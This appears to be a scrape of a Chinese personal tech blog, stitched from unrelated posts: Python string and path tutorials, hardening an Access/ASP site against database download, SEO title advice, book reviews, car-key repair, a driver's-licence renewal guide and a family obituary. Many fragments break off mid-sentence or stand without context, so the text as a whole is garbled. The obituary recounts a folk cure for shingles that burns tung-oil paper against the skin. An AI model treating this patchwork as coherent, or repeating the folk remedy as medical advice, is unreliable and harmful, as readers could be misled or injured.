前天,我的SSL到期了,更换SSL的时候,原本想通过断开CDN,用A记录解析后通过宝塔自动拉取SSL的,结果在看解析记录的时候发现握艹,我的解析记录条数都已经两页了呀,好奇看了一下每条解析记录,翻到第二页的时候,发现我解析搜索引擎线路的时候是直接回源到主机IP的,而这个熟悉的IP我已经到了哇,从T5突发性能的茅草屋搬到别墅豪宅了,靠,一瞬间想起为啥百度索引反馈是404了,蜘蛛被我自己引到坑里了。然后我百度site了一下,好家伙,快照只剩25个了,赶紧把搜索引擎线路解析到新主机上,做好这一切,又手动提交了一下最新的三篇水文。静待今天百度反馈的结果了。
还好,今天早上再次site的时候,快照已经恢复了,再晚个几天,我怕是要被百度K站了。最后,告诫下有换服务器的小伙伴们,你们域名如果做了搜索引擎线路回源的话,一定要记得去改过来。
当要处理字符串列表等序列结构时,采用join()方式;拼接长度不超过20时,选用+号操作符方式;长度超过20的情况,高版本选用f-string,低版本时看情况使用format()或join()方式。
SQLAlchemy
模块,将有效解决这个问题。s = 'Hello world'
l = '''Hi there , my name is Python猫
Do you like me ?
'''
# 不传参数时,默认分隔符为所有空字符
s.split() >>> ['Hello', 'world']
s.split(' ') >>> ['Hello', 'world']
s.split(' ') >>> ['Hello world'] # 不存在两个空格符
s.split('world') >>> ['Hello', '']
# 空字符包括空格、多个空格、换行符等
l.split() >>> ['Hi', 'there', ',', 'my', 'name', 'is', 'Python猫', 'Do', 'you', 'like', 'me', '?']
# 按位置传参
l.split(' ',3)
>>> ['Hi', 'there', ',', 'my name is Python 猫\nDo you like me ?\n']
# 指定传参
l.split(maxsplit=3)
>>> ['Hi', 'there', ',', 'my name is Python 猫\nDo you like me ?\n']
# 错误用法
l.split(3)
---------------
TypeError Traceback (most recent call last)
<ipython-input-42-6c16d1a50bca> in <module>()
----> 1 l.split(3)
TypeError: must be str or None, not int
# 默认不保留换行符
'ab c\n\nde fg\rkl\r\n'.splitlines()
>>> ['ab c', '', 'de fg', 'kl']
'ab c\n\nde fg\rkl\r\n'.splitlines(True)
>>> ['ab c\n', '\n', 'de fg\r', 'kl\r\n']
s = '******Hello world******'
s.strip('*') >>> 'Hello world'
s = 'Hello world'
s.find('cat') >>> -1
s.index('cat')
>>> ValueError Traceback (most recent call last)
<ipython-input-55-442007c50b6f> in <module>()
----> 1 s.index('cat')
ValueError: substring not found
import re
datepat = re.compile(r'\d+/\d+/\d+')
text = 'Today is 11/21/2018. Tomorrow is 11/22/2018.'
datepat.findall(text)
>>> ['11/21/2018', '11/22/2018']
anylist[:] = []
,但是,奇怪的是,Python 并不支持清空/删除操作。anystr[:] = ''
,也不支持 del anystr[:]
操作:s = 'Hello world'
s[:] = ''
>>> 报错:TypeError: 'str' object does not support item assignment
del s[:]
>>> 报错:TypeError: 'str' object does not support item deletion
del s
来删除字符串,因为变量名 s 只是字符串对象的引用 (挖坑,以后写写这个话题),只是一个标签,删除标签并不会直接导致对象实体的消亡。比较字符串
的方法,即 compareTo() 方法与 equals() 方法,前一个方法逐一比较两个字符串的字符编码,返回一个整型的差值,后一个方法在整体上比较两个字符串的内容是否相等。myName = "Python猫"
cmpName = "world"
newName = myName
# 直接用比较符号进行compare
myName > cmpName
>>> False
myName == newName
>>> True
cmpName != newName
>>> True
# 比较是否同一对象
myName is cmpName
>>> False
myName is newName
>>> True
__cmp__()
魔术方法,但官方嫌弃它们鸡肋,所以在Python 3 中移除掉了。虽然在 operator 模块中还为它留下了一脉香火,但保不定哪天就会彻底废弃。import operator
operator.eq('hello', 'name')
>>> False
operator.eq('hello', 'hello')
>>> True
operator.gt('hello', 'name')
>>> False
operator.lt('hello', 'name')
>>> True
str(123) >>> '123'
str(True) >>> 'True'
str(1.22) >>> '1.22'
str([1,2]) >>> '[1, 2]'
str({'name':'python', 'sex':'male'})
>>> "{'name': 'python', 'sex': 'male'}"
Integer.parseInt('123')
。最近负责网络安全的各相关部门到处在追查各种漏洞,这不一个客户的老网站被扫描出了一个漏洞,漏洞详情是存在数据库文件泄露安全风险。需要及时处理。我就去翻了一下客户的程序,有几年了,并且是放置在客户的物理服务器上的,八成是相关的目录权限也没有做,估计客户那边也没有懂服务器的人,只好从不操作服务器配置的角度入手解决这个问题。
Access数据库因其是一个独立的文件,无需额外的部署,和ASP搭配便捷,往往作为ASP的标配。如果不巧mdb的数据库路径被扫描出来了,只需要通过浏览器就可以把数据库下载到本地,这就是安全隐患了。
给access设置密码主要是为了增加数据库被下载后的打开难度。通过以独占方式打开mdb文件,在数据库工具菜单中设置数据库密码给access设定一个高强度的密码。
改文件名,重要的是将文件名加上各种符号,特别是#好,可以做到很好的阻断,不过道高一尺魔高一丈,把#号使用urlencode转换成%23,就阻断效果就失效了。这只能算是组合措施中的一部分动作。
通常access数据库的扩展名是默认的mdb,被扫描的时候,别人肯定也是有针对性的扫描。那么将扩展名换一个能起到防扫描的目的,一般我们把mdb改成asa或者asp,以达到被iis解析的目的,这样也能阻止被直接下载。
上面三步做了调整以后,那对应的数据库连接文件也需要修改,由于连接有采用ODBC的,有采用OLEDB的,根据实际情况,修改连接字符串,加入连接密码。如果数据库被下载了,还需要下载连接文件,事实上增加了破解难度。
一般情况下,做好上述措施后即可测试下mdb是否仍会被下载,博主今天遇到的就是通过数据库路径访问后,发现浏览器加载出了数据库的内容,虽然是乱码的,这还是不行。所以再IIS配置里面查找下asa的映射,如果服务器上的程序无需指定解析asa的文件,建议直接删除对应的映射即可。当然还有修改映射的方式,也可以实现相同效果。
写这篇文章缘起于那天沈独秀那个西北汉子转发的百度优化指南。指南内容主要是将关于网页标题搜索规范的问题论述。网页标题这里是特指html中的title标签,搜索引擎索引网页后用于展现的主体往往也是title的内容,由此可见优化好标题的重要性。本文尝试从若干个角度来总结一下百度优化实践中关于页面标题的书写技巧。
百度的优化指南中详尽描述的网页标题中使用的各种情况,那天沈独秀大汉说到首页标题中使用分隔符的问题。例如本博客首页使用的标题:西枫里博客 | 记录编程建站优化的学习博客。这里我使用的是竖线,并在竖线两边各留了一个空格。百度的建议是将多个短横线---,竖线|,下划线_,破折线—— 统一修改为一个短横线。不过我认为,用竖线、下划线和破折线都不打紧,如果你的网页有一段时间了,并且被百度正常收录,建议不要修改了。以后新增的页面可以建议直接使用短横线。下表是百度提供的关于符号使用建议,仅供参考。
1、首页标题。
首页是一个网站的入口,最重要的当然是表明网站身份,就像人的身份一样,首先肯定是网站名,公司网站建议使用公司全称,或者约定的简称。如果单单是网站名称似乎不足以说明身份,好比有些公司名字和经营的业务很难联想起来,那么就需要使用一个修饰短句。名称和短句之间使用短横线分割。如果很难找到修饰短句也可以使用主营的关键词来修饰,但是切记关键词不能多个,最好就使用一个关键词。
2、栏目页标题。
栏目或者是频道这样一个概念,标题上第一位体现栏目名称或者频道名称,后面使用短横线连接它的上级栏目。如果一定要强调逻辑归属,还可以在后面继续补上站点名称。在企业网站优化的过程中,我建议只要两级就可以了,如果栏目层次不深的话,上级栏目可以直接用站点名称替换。三层深度应该在我们优化过程中算一个分界点,别太深了,不好。
3、主体内容页面。
内容页是最终的落地页面,用户访问要查看的信息都在最终页面上显示,内容页的标题建议使用这篇文章的标题作为网页标题,后面也可以陆续跟上栏目名称和站点名称。还是那句话,层次别太深。
首先是实事求是,正如百度说的,你明明不是官网,非得在官网上写上官网,这不是技术问题了,而是诚信问题。
第二不要挂羊头卖狗肉,页面的主题和标题风马牛不相及,纯粹是给蜘蛛喂料,这样也会招致惩罚。
第三杜绝功利,比如您公司从事很多业务,只需要将主要的一项业务提炼出来作为修饰标题的短句,或者作为关键词修饰,切不可关键词堆砌,所谓贪多嚼不烂就是这个道理了。
第四模拟人工检索,通常我们在取页面标题的时候,特别是最终的内容页面,可以尝试站在访问者的角度来模拟用户可能会搜索的词,或整句,将词或者句子有机的整合在页面标题中,提升搜索的契合度。
SEO实际上是一门摸石头过河的学问,搜索引擎也是通过层出不穷的优化手法中去调整算法。只要不是很明确的作弊行为,搜索引擎的宽容度还是不错的,所以并非一定要按照建议去修改你的存量网页,更多的是要将增量的内容按要求来做。
本书以CPython为研究对象,在C代码一级,深入细致地剖析了Python的实现。书中不仅包括了对大量Python内置对象的剖析,更将大量的篇幅用于对Python虚拟机及Python高级特性的剖析。通过此书,读者能够透彻地理解Python中的一般表达式、控制结构、异常机制、类机制、多线程机制、模块的动态加载机制、内存管理机制等核心技术的运行原理,同时,本书所揭示的动态语言的核心技术对于理解其他动态语言,如 Javascript、Ruby等也有较大的参考价值。
华蟒用户组
里,正好有人问到这个消息,群众们纷纷表示翘首以待。不过,赖勇浩站出来回复了:如果你在用一门高级语言,想了解语言的实现原理,这本书是你的必选;如果你是一个 C/C++ 程序员,想写出高质量的程序,这本书也是你必选。—— @simonliu
需要说明的是,我不会向python语言的学习者推荐这本书,因为它不是一本python语言的教材。相反,作为分析Python运行时机制的专著,书中充斥着有关C、C++的讨论(我还读到了有用java做为比较的段落)。这不要求读者是专业的C/C++程序员,但是至少应该能够读懂C代码,最好知道 C++ STL是怎么回事。…我坚信,这本优秀的著作,值得译为英文,向全世界的C/C++/Python程序员推荐。——@膘
很好的讲解Python源码剖析的书籍,深入讲解了Python的各种特性是如何通过C语言实现的,对于想了解Python底层实现的程序员很有帮助,讲解的很详细,不过看底层C实现看多了也确实容易乏味、消磨耐性,尤其后面高级特性的剖析时,看起来愈发吃力、费劲。 目前先通读了一遍,帮助自己了解了Python的不少特性和其底层机制,还有很多地方草草略过并不十分明白,日后实力更上一层楼时,再回来拜读。 好书推荐!——@流星云
源码可以不读,这本书还是值得读的。——@赖勇浩
常备的手边书,深入了解Python的好书。——@清风
爱学习
的你们来说,这不是啥难事。豆瓣读书、当当网和京东图书上,也有电子书可购买。Python猫
,关注我们的荐书栏目,让我们一同学习,一同进步,一同抢福利,喵喵喵~~~There are few guarantees in life: death, taxes, and programmers needing to deal with strings.
# 以下的s、t皆表示序列,x表示元素
x in s # 若s包含x,返回True,否则返回False
x not in s # 若s包含x,返回False,否则返回True
s + t # 连接两个序列
s * n # s复制n次
s[i] # s的索引第i项
s[i:j] # s切片从第i项到第j-1项
s[i:j:k] # s切片从第i项到第j-1项,间隔为k
len(s) # s的长度
min(s) # s的最小元素
max(s) # s的最大元素
s.index(x) # x的索引位置
s.count(x) # s中出现x的总次数
basename = "Python"
myname = basename + "Cat"
id(basename) == id(myname) >>> False
# 作为对比,列表能就地修改
baselist = ["Python"]
baselist.append("Cat")
print(baselist) >>> ['Python', 'Cat']
字符
是人类书写系统的各类符号,例如阿拉伯数字、拉丁字母、中文、日文、藏文、标点符号、控制符号(换行符、制表符等)、其它特殊符号(@#¥%$*等等)。那Unicode编码又是什么呢?Unicode别名是万国码、国际码,它是一种适用性最广的、将书写字符编码为计算机数字的标准。0x4e2d
,其UTF-8编码可以表示为0xe4b8ad
,‘0x’用于开头表示十六进制,这样就简洁多了。不过,UTF-8编码的结果会被表示成以字节为单位的形式,例如“中”字用UTF-8编码后的字节形式是\xe4\xb8\xad
。# 字符转Unicode编码
# Python3中,开头的u被省略,b不可省略
hex(ord('中')) >>> '0x4e2d'
hex(ord('A')) >>> '0x41'
# 字符转UTF-8编码(encode)
'中'.encode('utf-8') >>> b'\xe4\xb8\xad'
'A'.encode('utf-8') >>> b'A'
# Unicode编码还原成字符
chr(0x4e2d) >>> '中'
chr(0x41) >>> 'A'
# UTF-8编码还原成字符(decode)
b'\xe4\xb8\xad'.decode('utf-8') >>> '中'
b'A'.decode('utf-8') >>> 'A'
str_0 = '''Python字符串可以写在用三引号对内,表示多行字符串。
还可以写在单引号对内,
当然还可以写在双引号对内。
'''
str_1 = 'Python猫是一只猫'
str_2 = "Python猫是一个微信公众号"
String name = "Python猫";
,而不必这样写:String name = new String("Python猫");
。String s = "Java 的多行字符串很麻烦,\n"
+ "既要使用换行符,\n"
+ "还需要使用加号拼接";
char c = 'A';
。char是一种内置类型,表示单个用Unicode编码的字符。Python中没有char类型,字符串类型通吃一切。字符数组
或者 字符串数组
,例如:char[] a = { 'a', 'b', 'c'};
String[] str = new String[]{"1","2","3"};
Python程序员
)刚刚低调地上线了“翻译社”功能。在公众号文章里,他们写到了推出这个项目的意图,我对此深为认可:我们要及时地了解英文Python社区的进展, 深入地发掘Python语言的能力, 积极地参与Python领域的活动和倡议. 所以, 将国外优质的文章翻译为中文呈现给大家, 这个事情刻不容缓!
双十一原本不想凑热闹,无奈女儿的洗衣皂没了,要买。老婆不知道听谁说的小孩要补DHA,得买。然后拿着车钥匙去车上找东西,把钥匙给按破了,得买。于是说好不剁手的双十一,还是没忍住。车钥匙经过六年的折腾,也没带个套,按来按去,终于抗不牢了,按键破掉了,话说换个钥匙壳这种小事还是自己动手比较好,淘宝一搜就来了,如果你也需要,可以点击这里。
▼看看原厂钥匙被虐的惨况。
▼这个是淘宝买来的钥匙壳和拆装工具。
新壳拆起来也很简单,电池盖拔下来(后面有图),然后前后盖用力掰开缝,然后从尾部金属吊扣处纵向一掰就开了。拆开好的配件放一边。
下图这里有个插销,将钥匙和转轴连接在一起的,使用赠送的小铳子,对这插销,一顿敲,插销就出来了,老虎钳一拔就能下来,如图。
前面新钥匙壳的电池盖一样的拆法,钥匙按出来后,电池盖一抠就开了。
这部分是比较难拆的,方法其实和拆新壳的方法一致,只是原厂的这个卡的太紧了,不得以,我拿螺丝刀撬的缝,撬完后,强硬掰开。
方法就拆的方法一致,要注意,把钥匙头插入转轴后,看下插销眼,插销眼是不是一个圆形孔,如果有部分遮挡,就要使用赠送的三角锉刀给钥匙的卡槽打磨一下,否则待会儿用插销就卡不进去了。
看下弹簧上有个小的短柄,钥匙后盖上有个对应的卡槽,短柄对牢卡槽,然后逆时针转两圈,扣上前后盖就搞定。转一圈,弹簧力度太小,两圈正好。如图。
自己购买的这个钥匙壳前后盖加了一道螺丝固定,原车钥匙是没有的。拧上螺丝后在螺丝位置贴上车标即可,搞定,这次我把赠送的套套给带上了,显然带套很不爽。
Python Enhancement Proposals
,其中Enhancement是增强改进的意思,Proposals则可译为提案或建议书,所以合起来,比较常见的翻译是Python增强提案
或Python改进建议书
。I - Informational PEP
P - Process PEP
S - Standards Track PEP
A – Accepted (Standards Track only) or Active proposal 已接受(仅限标准跟踪)或有效提案
D – Deferred proposal 延期提案
F – Final proposal 最终提案
P – Provisional proposal 暂定提案
R – Rejected proposal 被否决的提案
S – Superseded proposal 被取代的提案
W – Withdrawn proposal 撤回提案
保罗•格雷厄姆
是哈佛大学计算机博士,是个著名的Lisp程序员,他和同伴开发了第一个互联网应用程序Viaweb(1995)。不过在我国,他最为人知的身份是Y Combinator的联合创始人,还因此有着“创业教父”的美称。阮一峰
是上海财经大学世界经济学博士,曾在上海金融学院执教,现在是支付宝的Node/JavaScript工程师。他是一个互联网老鸟,从2003年开始写“网志”,至今创作了1700+文章,是无数人的互联网启蒙领路人。但是,在我眼里,除了程序员和创业导师,他更像一个思想家。网络技术将如何影响这个世界的未来,没有人说得比他更深刻。说实话,我在网上看了这么多人的文章,在思想方面,他的文章对我影响最大。
作者最大的目的就是,通过这本书让普通读者理解我们所处的这个计算机时代。…作者试图从许许多多不同的方面解释这个时代的内在脉络,揭示它的发展轨迹,帮助你看清我们现在的位置和将来的方向。…我们的时代是程序员主导的时代,而伟大的程序员就是黑客。本书就是帮助你了解黑客、从而理解这个时代的一把钥匙。
他是怎么做到的,让一本技术类书籍吸引10年后的读者?后来,我总结出两个原因。第一,他写的不是技术,而是技术背后的思想。就像数学一样,正确的思想是不会过时的。第二,他的着眼点是长远的未来。文章内容主要不是分析现状,更不是总结过去,而是展望未来,以未来指导现在。举例来说,第11章《一百年后的编程语言》就是研究一百年后人们会怎么编程,从而推导到我们现在应该如何编程。除了他以外,我没见过其他人有这种视角。
单单“书呆子”那篇文章就值得你买下这本书。——@Hammer_
四月份读的最好的一本书是 Paul Graham 的大作 《黑客与画家》(中文版),这是一本能引发技术人思考的佳作,真正意义上的黑客精神、创业(Start-up)、编程语言,是这本技术散文集的三个主题。阮一峰的翻译很到位,很喜欢他的译文。——@Fenng
作者试图回答的问题:如何好奇地探索这个世界,做喜欢的事情,并阳光地获取财富? 作者回答得怎么样:非常棒 评价:创业的书,或讲究细节,比如如何撰写商务计划书;或摆资历,比如我的成功如何复制;或讲大道理,用一个术语串起整本书,你不服还不行,比如长尾比如蓝海比如紫牛;或写小说,比如如何从小秘到跨国公司CEO;或吹牛,比如全中国最穷小伙子如何发财。 有没有一本,心平气和,不讲细节不摆资历不讲大道理不写小说不吹牛的创业书呢? 有,这就是Paul Graham的文集——《黑客与画家》。——@阳志平
我做笔记和划重点的地方大概占到书的30%。每个段落里忽闪忽闪的思维火花,都在告诉我们什么叫「远见卓识」。在被说服后常常惊讶他是怎么想到那个角度和比喻的。不要被书中大量IT案例阻隔,事实上它适合所有人阅读,让你重新思考要过什么样的生活,或如何尽快过上你想有的生活。——@大头绿豆
本来以为是一本编程书,没想到竟然是一本方方面面的哲学书。不要被书名的黑客两字吓到,放下偏见来听一个知识渊博的老牌黑客对教育、社会、公司等不同领域的深入探讨,受益匪浅。当然,对于计算机编程思维与编程语言的哲学也有独到的见解,不明觉厉……——@莱斯基
我的判断是,那些内核最小、最干净的编程语言才会存在于进化的主干上。一种语言的内核设计得越小、越干净,它的生命力就越顽强。
随着技术的发展,每一代人都在做上一代人觉得很浪费的事情。30年前的人要是看到我们今天如此随意地使用长途电话,一定会感到震惊。100年前的人要是看到一个普通的包裹竟然也能享受一天内从波士顿发件、途经孟菲斯、抵达纽约的待遇,恐怕就要更震惊了。
一百年后的程序员最需要的编程语言就是可以让你毫不费力地写出程序第一版的编程语言,哪怕它的效率低下得惊人(至少按我们今天的眼光来看是如此)。…浪费程序员的时间而不是浪费机器的时间才是真正的无效率。
print('%s %s' % ('Hello', 'world'))
>>> Hello world
# 简洁版
s1 = 'Hello {}! My name is {}.'.format('World', 'Python猫')
print(s1)
>>>Hello World! My name is Python猫.
# 对号入座版
s2 = 'Hello {0}! My name is {1}.'.format('World', 'Python猫')
s3 = 'Hello {name1}! My name is {name2}.'.format(name1='World', name2='Python猫')
print(s2)
>>>Hello World! My name is Python猫.
print(s3)
>>>Hello World! My name is Python猫.
s_tuple = ('Hello', ' ', 'world')
s_like_tuple = ('Hello' ' ' 'world')
print(s_tuple)
>>>('Hello', ' ', 'world')
print(s_like_tuple)
>>>Hello world
type(s_like_tuple) >>>str
# 多元素时,不支持有变量
str_1 = 'Hello'
str_2 = (str_1 'world')
>>> SyntaxError: invalid syntax
str_3 = (str_1 str_1)
>>> SyntaxError: invalid syntax
# 但是下面写法不会报错
str_4 = (str_1)
from string import Template
s = Template('${s1} ${s2}!')
print(s.safe_substitute(s1='Hello',s2='world'))
>>> Hello world!
str_1 = 'Hello world! '
str_2 = 'My name is Python猫.'
print(str_1 + str_2)
>>>Hello world! My name is Python猫.
print(str_1)
>>>Hello world!
常数折叠
(constant folding)功能,这些字面值会被转换成更短的形式,例如’a’+‘b’+‘c’ 被转换成’abc’,‘hello’+‘world’也会被转换成’hello world’。这种转换是在编译期完成的,而到了运行期时就不会再发生任何拼接操作,因此会加快整体计算的速度。str_list = ['Hello', 'world']
str_join1 = ' '.join(str_list)
str_join2 = '-'.join(str_list)
print(str_join1) >>>Hello world
print(str_join2) >>>Hello-world
name = 'world'
myname = 'python_cat'
words = f'Hello {name}. My name is {myname}.'
print(words)
>>> Hello world. My name is python_cat.
# bash shell
name="world"
myname="python_cat"
words="Hello ${name}. My name is ${myname}."
echo $words
>>>Hello world. My name is python_cat.
# perl
my $apples = 4;
print "I have $apples apples.\n";
# Javascript
var apples = 4;
console.log(`I have ${apples} apples`);
格式化类:%、format()、template
拼接类:+、()、join()
插值类:f-string
从语义上看,字符串或多或少可以理解成列表的一个子集,其中的每一个元素都是字符。那么,为什么还需要把字符串单列为一种数据结构呢?
还有比这更惊人的预言。在逻辑上其实不需要对整数设置单独的表示法,因为可以把它们也看作列表,整数n可以用一个n元素的列表表示。… 编程语言会发展到放弃基本数据类型之一的整数这一步吗?
Object1=2018
Object2="2018"
id(Object1) >>>2399282764784
id(Object2) >>>2399281922600
type(Object1) >>>int
type(Object2) >>>str
Object1 is Object2 >>>False
a=100
b=1000
# c与a共用id,d另立门户
c=100
d=1000
id(a)==id(c) >>>True
id(b)==id(d) >>>False
__repr__()
和__str__()
的关系了。如你所知,这是Python的两个魔法方法,其对应的内置函数是repr() 和 str()。对于对象x,有x.__repr__()
等价于 repr(x),同理,x.__str__()
等价于 str(x)。repr(2018) >>>'2018'
str(2018) >>>'2018'
repr([1,2,3]) >>>'[1, 2, 3]'
str([1,2,3]) >>>'[1, 2, 3]'
words = "Hello pythonCat!\n"
repr(words) >>>'Hello pythonCat!\n'
str(words) >>>'Hello pythonCat!\n'
# 结合print,注意换行符\n
print(repr(words))
>>>'Hello pythonCat!\n'
print(str(words))
>>>Hello pythonCat! # 再加换行
>>>
__repr__()
和__str__()
方法)的话,其默认的名片就会是类名及内存地址,如下所示。class Person:
def __init__(self,name,sex):
self.name = name
self.sex = sex
me = Person("pythonCat", "male")
repr(me)
>>> '<__main__.Person object at 0x0000022EA8D7ED68>'
str(me)
>>> '<__main__.Person object at 0x0000022EA8D7ED68>'
a = 1 + 1
b = [1, 2, 'cat']
c = {'name':'pythonCat', 'sex':'male'}
eval(repr(a)) >>>2
eval(repr(b)) >>>[1, 2, 'cat']
eval(repr(c)) >>>{'name': 'pythonCat', 'sex': 'male'}
class Person:
def __init__(self,name,sex):
self.name = name
self.sex = sex
# 定制私人名片
def __str__(self):
return "{} is an elegant creature!".format(self.name)
me = Person("pythonCat", "male")
repr(me)
>>>'<__main__.Person object at 0x000002E6845AC390>'
str(me)
>>>'pythonCat is an elegant creature!'
list = [1, 2]
if list: # 即if True
print("list is not empty")
else:
print("list is empty")
>>> list is not empty
True + 1 >>>2
True + 1.0 >>>2.0
False + False >>>0
True + (True*2) >>>3
True/2*5 >>>2.5
type(True) >>> bool
isinstance(True,int) >>>True
isinstance(False,int) >>>True
五爷爷是我爷爷亲弟弟,排行老五,故称五爷爷,他于10月20日以98岁高龄仙逝了。周末的时候博主赶回老家奔丧,不过五爷爷这个年龄过世,在我们当地属于喜丧了,就是把丧事当做喜事来办。原本应该是个很热闹的场面,只是安吉县这两年出了一系列拍脑袋的不得人心的政策(不得燃放爆竹,不得请道士做法,不得请洋鼓洋号奏唱,总之一切出发点都是与人民为敌,与中华五千年的传统为敌。),也就导致丧礼现场冷冷清清。五爷爷是那种典型的经过旧时代和新时代的双重社会经历的人。博主出生的时候,五爷爷已经是老年人了。再加上这些年我一直漂泊在外,接触的也少了,所以接下来回忆的小事大概都是发生在博主10到20岁之间的事情,具体年月属实记不清了。
那年冬天,江南的环境,池塘里早上还是会结起一层薄薄的冰,我们乡下洗衣服通常是在自家门口肥皂打好搓好,然后拎着洗好的衣服到池塘里面进行清水。去池塘洗衣服这种事情乡里乡亲的都像商量好了的似的,阳光还没穿透薄雾,池塘边已经站满了人。十来岁的我,朝冰上扔石头还是我那年龄段的乐趣。不多时便看到五爷爷拎这一大桶衣服来到河边,二话没说卷起裤管直接下到了水里,麻溜的洗起衣服来。这可是数九寒天,并且五爷爷已经是70多的高龄,既不是冬泳运动爱好者又没经过抗寒训练,那时候差不多把我都惊到了。这得交代下背景,一般洗衣做饭这种都是女人们的活,而五奶奶属于那种花脚猫的类型,喜欢到处跑,并且家务是干的比较少的,五爷爷有四个儿子两个女儿,他老两口那时候是不跟儿女生活在一起,自己单独烧小灶的。
一年春上,各种病菌滋生的时节。我上学上的好好的,突然腰疼,坐都不坐不起来,后腰上一阵刺痛,伸手一抹,全是水泡。向老师请假去了街上的合作医疗,医生说你这是得了蛇斑疮,打两针抗菌消炎的药后,你得找乡下土方子看。蛇斑疮是我们乡下的叫法,学名带状疱疹,有些地方叫蛇缠腰,各种叫法不同,但是有通用的一类说法就是,这水泡要是围着腰身长满一圈的话会死人的。吓的我妈赶紧带我找土方子。不知道是谁说的五爷爷手上有这个病的土方,我们赶紧去到五爷爷家。五爷爷说用桐油点着火燎水泡很快就好。只见他手拿一张祭祀用的黄表纸,卷成烟卷形状,沾满桐油,点着后就在我后腰处烟熏火燎,烟火触及皮肤的时候又是好一阵刺痛。反复几次后,让我回家休息,第二天再来,大概是经过了三五次这样的熏烤后,蛇斑疮奇迹般的好了。
听父亲说五爷爷年轻的时候是私塾的教书先生,改革开放后还做生产队的队长和村会计。除了写的一手好字,那算盘打的是飞快。那些年每逢年底腊月天街头都是各家写字好手搭桌写对联售卖。不像现在的春联都是印刷厂批量出来的,选来选去,也就几幅对子而已。年底我们这群孩子们早早的放了寒假,几个小伙伴便在五爷爷家帮着他裁纸,研墨。等到上街的时候,只见得五爷爷笔下生风,各种吉祥寓意的对子跃然纸上。而一些特定意义的对联,我们那边有这样一个习俗,一年中家中有人过世,过年的时候是不贴红色对联的,第一年是贴黄色的对联,第二年是贴绿色的对联。对联上的字也是有讲究的,不同平常人家那种迎春纳福的寓意。所以这样的对联更需要人工手写,买是买不到的。所以有很多需求这样对联的人家来买对联,通常需要跟五爷爷说下大致情况,他会根据主人家的要求来写对子。这里神奇就神奇在爷爷从不用翻书,各种类型的不论特定意义还是通用纳福的数千副对子,五爷爷总是手到擒来,似乎所有的对联都像是刻在他脑海中一样,写出来也是对仗工整分厘不差。
虽然五爷爷98岁过世了,其实如果不是前年摔了一跤,身体状况每况愈下,在这个国庆假期又不小心摔了一跤,造成大脑中有血块,他最少还能活好几年的。至于长寿的秘密?除了心态好以外,似乎并没有特别的秘密,也就是普通一日三餐,去年的时候还能一顿喝个三两白酒,烟不离手,那可是97岁高龄,前年清明节的时候,青团还能一顿吃11个,即便是我们这样的年轻人怕是也没这个饭量。一定要说有什么秘方,那可以告诉你,喝浓茶,他的茶杯满满一杯茶通常只见茶叶不见水。要想长寿你就看着办吧,哈哈。
因为对“for humans”理念的认同,也因为我经常使用Requests,所以当Reitz 在GitHub上邀请我翻译Requests 文档中文版时,我欣然接受,和本书的另一位译者邦杰共同翻译了Requests 文档的首个官方中文版。
// 不纯的
var minimum = 21;
var checkAge = function(age) {
return age >= minimum;
};
// 纯的
var checkAge = function(age) {
var minimum = 21;
return age >= minimum;
};
一晃6年过去了,驾照临近到期了,12123APP上显示可以进行到期换证操作了,抽了个周六的时间,去把驾驶证给换一下。换证之前得先确保所有的违章扣分全部处理完毕才行。然后找个就近的受理驾驶员证件业务的交管部门去办理就可以了。 当然博主这种行程十几万公里“老司机”(双关),已经连续几年没有违章了,保险起见临出门还是在12123上查了下确保没有违章才出的门。
上海嘉定的驾驶员管理中心是在塔新路999号恒通驾校那里。他们工作时间是周一到周六,早上8点半到下午16点半。中午时间也可以去的。不放心的话,去之前不妨打个电话69160900。具体地址看下百度地图。从塔城中路过去到塔新路,就在那个路口,过红绿灯后有路牌100米右转进园区,红绿灯处有路牌写着嘉定交警支队驾驶员管理中心。然后别听导航的,今天我用百度地图导航,盲目的把我带到前面掉头,然后停在了马路对边,然后自己再次掉头进的园区。
换证业务在四楼,但是你不需要先去四楼,可以直接去地下一层,在拍照体检处,做登记,走到最里面,出示身份证,交费25元办理拍照。然后拿着照片及给你的申请表,到外间交费50元,填写申请表,然后完成体检。
体检完成后带着表格和剩余照片到四楼导办台取号,有个交警在那儿的,告知换证即可。领到号后在右侧办理大厅等候叫号。
叫到号后,将材料交给窗口(一般是三号窗口),身份证、照片、驾驶证、申请表这几项给窗口,经过他们内部处理好以后,拿着给你的材料到旁边四号窗口等待即可。等制证完成交费10元工本费,领取新证。
总计收费85元,所有环节都有发票提供,如需报销的,记得收好发票。
C1驾照如果你在第一个6年期限内,每个记分周期内均没有被扣满12分,那么这次换证后,你的驾驶证有效期就变成了10年期的证件,博主拿到手的已经是10年证了。接下来在这10年中,每个记分周期都不被扣满12分的话,十年后再次换证就会变成长期有效的证件了。如果是大客大货类驾照驾驶员每年体检那是另外一回事。
with open("python.log", "r") as f:
...: f.read()
-----------------------
...(略)
FileNotFoundError: [Errno 2] No such file or directory: 'python.log'
import os
# 文件存在 VS 不存在
os.path.exists("test.txt") >>>True
os.path.exists("cat.txt") >>>False
# 文件夹存在 VS 不存在
os.path.exists("cat/images") >>>True
os.path.exists("cat/image") >>>False
os.path.isfile("cat/images") >>>False
os.path.isdir("cat/images") >>>True
os.path.isfile("test.txt") >>>True
os.access("cat/images", os.F_OK) >>>True # path存在
os.access("cat/images", os.R_OK) >>>True # path可读
os.access("cat/images", os.W_OK) >>>True # path可写
os.access("cat/images", os.X_OK) >>>True # path可执行
import pathlib
file_obj = pathlib.Path("test.txt")
file_obj.name >>>'test.txt' # 文件名
file_obj.exists() >>> True # 是否存在
file_obj.is_dir() >>>False # 是否文件夹
file_obj.is_file() >>>True # 是否文件
# 错误拼接:未处理分隔符
data_folder = "source_data/text_files/"
file_to_open = data_folder + "test.txt"
# os模块拼接
import os
data_folder = os.path.join("source_data", "text_files")
file_to_open = os.path.join(data_folder, "test.txt")
# pathlib模块拼接
from pathlib import Path
data_folder = Path("source_data/text_files/")
file_to_open = data_folder / "test.txt"
事情起因是本人在淘宝上购买了一件商品,卖家通过韵达公司发货。今天下午接到一陌生电话,告知小区快递柜被塞满,送货上门而我家又没人,改约晚上派送。我让对方把快递放到我们家的水表间,对方强调目前小区丢件严重,公司规定必须将快递送到客户手上,我心想,这快递公司还不错,对方说改个时间再次派送并询问了家里何时有人,答复对方晚上6点半有人,对方满口承诺6点半派送。直到晚上回家才发现白天这只是骗局的起点。
